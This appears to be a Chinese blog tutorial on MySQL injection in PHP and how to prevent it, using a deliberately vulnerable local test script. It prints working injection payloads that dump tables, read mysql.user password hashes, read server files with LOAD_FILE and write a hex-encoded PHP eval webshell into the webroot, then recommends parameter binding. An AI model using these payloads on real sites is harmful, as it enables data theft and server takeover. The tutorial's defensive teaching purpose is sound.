mysql的注入原理_mysql 注入原理以及防范
一、注入原理
通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
二、实例
1、建表sql
CREATE TABLE `web_safe` ( `id` int unsigned NOT NULL AUTO_INCREMENT,`user_name` varchar(30) NOT NULL DEFAULT ” COMMENT ‘用户名’,`user_pwd` char(32) NOT NULL DEFAULT ” COMMENT ‘用户密码’,PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT=’测试web安全表';
insert into web_safe(`user_name`,`user_pwd`) values(‘test1′,md5(‘test1′)),(‘test2′,md5(‘test2′)),(‘test3′,md5(‘test3′)),(‘test4′,md5(‘test4′)),(‘test5′,md5(‘test5′));
2、构造一个测试站点
2.1、apache配置文件
ServerAdmin zhangjianshan@wanda.cn
DocumentRoot “E:/site/web_safe/webroot”
ServerName websafe.dev.ffan.com
ErrorLog “E:/site/web_safe/log/error.log”
CustomLog “E:/site/web_safe/log/access.log” common
2.2 建立php文件
//根据用户名查询用户信息,脚本中没有对userName转义
curl /index.php?userName=用户名
3、实例注入
3.1、查询表中全部数据
userName=” or 1 — ” 或者 userName=” or 1 %23″
执 行SQL:select * from web_safe where user_name=”” or 1 — “” 或者 select * from web_safe where user_name=” or 1 #”
3.2、查询数据库信息
userName=” union all select CONCAT(version(),char(58),USER()),database(),now()– ”
执行SQL:select * from web_safe where user_name=”” union all select CONCAT(version(),char(58),USER()),database(),now()– “”
3.3、查找表list
userName=” union all select TABLE_NAME,1,23 from information_schema.TABLES– ”
执行SQL:select * from web_safe where user_name=”” union all select TABLE_NAME,1,23 from information_schema.TABLES– “”
3.4、查找字段list
userName=” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”
执行SQL:select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”
注释:0x61637469766974795f696d67 是字符串 activity_img 的16进制表示
3.5、执行insert/update SQL
userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)); — ”
执 行SQL:select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)) — “”
注释:需要msyqli->multi_query的支持
3.6、新建php文件
userName=” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”
执行SQL:select * from web_safe where user_name=”” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”
注释:0x3c3f706870206576616c28245f4745545b636d645d293b3f3e是字符串 <?php eval($_GET[cmd]);?> 16进制表示;其他2个也一样
注释:需要mysql有写权限、知晓web站点物理路径
3.7、读取文件
userName=” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– ”
执行SQL:select * from web_safe where user_name=”” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– “”
注释:0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66是字符串 E:/site/web_safe/webroot/httpd.conf 的16进制
3.8、写入js代码
userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”
或者
userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”
或者
userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”
执 行SQL:select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”
注释:如果页面上有展示用户名的功能,可以导致入侵者获取用户的cookie、替代用户自动完成某种操作
三、防范
字符串类的处理:
3.1、addslashes
作用:将 NUL (ASCII 0),\, ‘, ” 前面增加斜线进行转义
addslashes(“Who’s Bill Gates”) =====> Who\’s Bill Gates
3.2、mysqli::real_escape_string
作用:将 NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z(\x1a) 转义
$str = “abc
de”;mysqli::real_escape_string($str) ============> abc\nde
注 释:If you wonder why (besides \, ‘ and “) NUL (ASCII 0), \n, \r, and Control-Z are escaped:it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.
3.3、mysqli:bind_param 或者 pdo
作用:参数绑定,终极防注入解决方案。
3.4、个人推荐
3.1和3.2不能从根本上防范SQL注入,务必使用 3.3 来解决sql注入
数字类的处理:
最好直接使用int,如:$a = (int)$_GET[‘a’];
使 用is_numeric判断是不是数字会有问题:is_numeric(0x22206f722031202d2d2022) 返回true , 0x22206f722031202d2d2022 == ” or 1 — “,如果直接将 ” or 1 — ” 拼接到sql中会导致严重问题
例:insert into test(type)values($s); ====> insert into test(type)values(0x22206f722031202d2d2022); ====> 实际值会被mysql转成 ” or 1 — ”
使用in_array()问题:echo in_array(‘1a’,array(1,2)) 会返回true
empty函数问题:empty(‘0′) 返回ture,如果用户传入的参数值是0,如果需求认为0也是一个字符串,应该使用isset($a{0})判断字符串是不是空字符串
注意:用户提交过来的数据不仅仅包含表单中的数据,还包含诸如:$_SERVER[REMOTE_ADDR], $_SERVER[HTTP_USER_AGENT],
四、注入工具
五、php代码的安全问题
5.1
代码:foreach ($_GET AS $key => $value){ print $key.”\n”; }
url:index.php?=1&a=c
注释:可以导致xss问题
5.2
代码:foreach ($_GET AS $key => $value){ include($key); }
注释:include未知文件
5.3
代码:$a=‘hi’;foreach($_GETas$key=>$value){$$key=$value;}print$a;
url:index.php?a=sssssssssssss
注释:会导致$a的值被覆盖成sssssssssssss
5.4
代码:$var=‘init’;parse_str($_SERVER[‘QUERY_STRING’]);print$var;
url:index.php?var=tttttt
注释:会导致$var的值被覆盖成tttttt
5.5
代码:$str = $_GET[‘action’].”.php”;
url:index.php?action=tttt.txt%00
注释:代码会报错:include(): Failed opening ‘tttt.txt’ for inclusion , %00(ascii表中null)会导致include截断问题
5.6
代码:update `app_schema` set `name`=’aaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1′ where id=1;
注释:name字段是10个字符长度,如果sql_mode没有设置STRICT_ALL_TABLES, update可以执行成功,但会被截断,此时可能导致name字段出现重复的字符串。但是用php脚本验证是否重复的时候是没有重复。
六、本次测试的php源码
//—————-使用注释—————-//
//” or 1 — ” -> select * from web_safe where user_name=”” or 1 — “”
//” or 1 %23″ -> select * from web_safe where user_name=”” or 1 — “” %23==#
//————–获取数据库信息————//
//” union all select CONCAT(version(),char(58),USER()),database(),now()– ” ->
//select * from web_safe where user_name=”” union all select CONCAT(version(),char(58),USER()),database(),now()– “”
//char(58) == : == ascii(‘:’) == 0x3a
//————-查找用户信息————//
//” union all select host,user,password from mysql.user– ”
//-> select * from web_safe where user_name=”” union all select host,user,password from mysql.user– “”
//————-查找表————//
//” union all select TABLE_NAME,1,23 from information_schema.TABLES– ”
//-> select * from web_safe where user_name=”” union all select TABLE_NAME,1,23 from information_schema.TABLES– “”
//————-查找字段————//
//” union all select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”
//-> select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”
//0x61637469766974795f696d67 == activity_img
//————执行其他sql———//
//” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)); — ”
//->select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)) — “”
//————新建php文件———–//
//” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”
// -> select * from web_safe where user_name=”” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”
//———–读取文件————–//
//” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– ”
//-> select * from web_safe where user_name=”” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– “”
//———–js代码————–//
//
//
//
//根据user_name查询用户信息
$userName = isset($_GET[‘userName’]) ? trim($_GET[‘userName’]) : ”;
msg(‘userName原始值 ==>’.$userName.'<==’);
if(isset($userName{0})) {
mysqlClient::init();
//———-直接执行sql———–//
msg(‘未转义’);
$sql = ‘select * from web_safe where user_name=”‘ . $userName . ‘”‘;
$ret = mysqlClient::query($sql);
//———-addslashes——//
//Characters encoded are NUL (ASCII 0),\, ‘, ”
msg(‘使用addslashes转义’);
$escapeUserName = addslashes($userName);
$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;
$ret = mysqlClient::query($sql);
//———–htmlspecialchars – html_entities – get_html_translation_table —//
msg(‘使用htmlspecialchars转义’);
//&->& ” -> " ‘ -> ' < -> < > -> >
//-ENT_COMPAT – 默认。仅编码双引号。 ENT_QUOTES – 编码双引号和单引号。ENT_NOQUOTES – 不编码任何引号。-//
$escapeUserName = htmlspecialchars($userName,ENT_QUOTES | ENT_IGNORE,’UTF-8′);
$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;
$ret = mysqlClient::query($sql);
//———-mysqli::real_escape_string——//
msg(‘使用mysqli::real_escape_string转义’);
//Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.
$escapeUserName = mysqlClient::escape($userName);
$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;
$ret = mysqlClient::query($sql);
msg(‘使用mysqli::bind_param’);
//———-mysqli::参数绑定/pdo———–//
$ret = mysqlClient::bindParam($userName);
/*
If you wonder why (besides \, ‘ and “) NUL (ASCII 0), \n, \r, and Control-Z are escaped:it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.
*/
exit;
}
function msg($msg)
{
echo $msg .”\n\n”;
}
class mysqlClient
{
static private $client;
public static function init()
{
self::$client = mysqli_init();
self::$client->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5);
self::$client->real_connect(‘127.0.0.1′,’root’,”,’activity’,3306);
if (self::$client->connect_errno) {
return self::$client->connect_errno.’->’.self::$client->connect_error;
}
self::$client->query(‘set names utf8mb4′);
return 0;
}
public static function query($sql)
{
$ret = array();
msg(‘执行的sql=>’.$sql);
if (self::$client->multi_query($sql)) {
do {
/* store first result set */
if ($result = self::$client->store_result()) {
while ($row = $result->fetch_row()) {
$ret[] = $row;
}
$result->free();
}
/* print divider */
if (self::$client->more_results()) {
}
} while (self::$client->next_result());
} else {
msg(‘query error’);
}
msg(‘执行的结果=>’.print_r($ret,1));
return $ret;
}
public static function multiQuery($sql)
{
$ret = array();
msg(‘执行的sql=>’.$sql);
$ret = self::$client->multi_query($sql);
msg(‘执行的结果=>’.print_r($ret,1));
return $ret;
}
public static function escape($str)
{
return self::$client->real_escape_string($str);
}
public static function bindParam($userName) {
$ret = array();
$stmt = self::$client->prepare(“select * from web_safe where user_name=?”);
$stmt->bind_param(“s”, $userName);
$stmt->execute();
$result = $stmt->get_result();
while ($myrow = $result->fetch_assoc()) {
$ret[] = $myrow;
}
msg(‘执行的结果=>’.print_r($ret,1));
return $ret;
}
}
//CREATE TABLE `web_safe` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT,`user_name` varchar(30) NOT NULL DEFAULT ” COMMENT ‘用户名’,`user_pwd` char(32) NOT NULL DEFAULT ” COMMENT ‘用户密码’,PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT=’测试web安全表';
//insert into web_safe(`user_name`,`user_pwd`) values(‘test1′,md5(‘test1′)),(‘test2′,md5(‘test2′)),(‘test3′,md5(‘test3′)),(‘test4′,md5(‘test4′)),(‘test5′,md5(‘test5′));
mysql的注入原理_mysql 注入原理以及防范相关推荐
- mysql注入大全_mysql注入大全及防御
0.明白存在的位置:get型 post型 cookie型 http头注入 1.先测试注入点,注册框.搜索框.地址栏啥的,判断是字符型,搜索型还是数字型 字符型 1' and '1'='1 成功, 1' ...
- mysql注入总结_mysql注入总结 - osc_wpg0dgym的个人空间 - OSCHINA - 中文开源技术交流社区...
前言:看玩mysql注入 做一篇总结然后去打GTA 5 正文: mysql注入与access注入不一样.因为数据库的特性不一样 access注入的暴力注入 mysql是有逻辑性的注入 首先得判断是什么 ...
- mysql注入技巧原理_MySQL注入技巧总结
0x00 介绍 以下所有技巧都只在mysql适用,因为它太灵活了. 0x01 MYSQl灵活的语法 1 MySQL语法以及认证绕过 注释符: #,-- X(X为任意字符)/*(MySQL-5.1);% ...
- mysql 写binlog 原理_MySQL binlog原理及应用
01 概述 Binlog它记录了所有的DDL和DML(除了数据查询语句)语句,以事件(EVENT)形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是事务安全型的. 一般来说开启二进制日志 ...
- mysql 删除原理_MySQL权限原理及删除MySQL的匿名账户
MySQL权限系统的工作原理 MySQL权限系统通过下面两个阶段进行认证: (1)对连接的用户进行身份认证,合法的用户通过认证,不合法的用户拒绝连接: (2)对通过认证的合法用户赋予相应的权限,用户可 ...
- mysql的存储过程原理_mysql存储过程原理与用法详解
本文实例讲述了Mysql存储过程原理与用法.分享给大家供大家参考,具体如下: 本文内容: 什么是存储过程 存储过程的创建 存储过程的使用 查看存储过程 修改存储过程 删除存储过程 首发日期:2018- ...
- mysql的主从复制优缺点_MySQL主从复制原理,超级详细的总结,看完全通了
主从复制的方式 主从复制分为:异步复制,半同步复制和全同步复制 异步复制: 是MySQL默认的复制模式,主库在执行完客户端提交的事务之后会立刻将结果返回给客户端,并不关心从库接收的结果,这样就会导致当 ...
- mysql索引实现原理_Mysql索引原理
1.二分查找法 二分法,也叫二分查找法,是一种高效的查找算法. 如下一个有序数列,如果我们需要从中找到1这个元素,这个过程需要查找几次? [1,2,3,4,5,6,7,8,9,10] 对于这个数列查找 ...
- mysql+数据库主从原理_MySQL主从复制原理及实现
MySQL主从复制原理 MySQL主从复制主要基于MySQL的BIN log日志,bin log 日志中包含了几乎所有mysql增删改查的语句,所以bin log日志也是mysql用户备份和数据恢复的 ...
最新文章
- 再见,谷歌!再见,算法!
- python enumerate()函数
- 21天舞动西浦报名失败的教训:先下手为强
- 如何更改ubuntu的用户密码
- Vaadin应用程序中的EJB查找
- Excel 数据导入到Access数据库,报错“找不到可安装的ISAM”的解决办法
- HashMap get不出对象时出错 解决
- python敏感词过滤replace_Serverless 实战:3 分钟实现文本敏感词过滤
- CentOS7下安装 mysql5.7.25(glibc版)(可用)
- Ubuntu搭建饥荒服务器教程
- 百度人脸识别使用总结(环境+测试+人脸库管理)
- 全国各地网站备案的通过时间表
- 多多情报通:拼多多推广哪个效果好?有什么推广技巧?
- 关于泰勒展开的细节-《三体》读后感的读后感...
- 带蒙版的安卓剪辑软件_抖音运营干货,9款手机剪辑软件APP,从此让你用手机轻松玩转剪辑...
- 服务器三种常见的限流算法
- 目的地址,源地址防火墙双向nat转换
- 行业分析-全球与中国抛光混凝土地板市场现状及未来发展趋势
- 如何获取自己QQ里面的所有qq好友号码
- 陈皓的C语言系列文章合集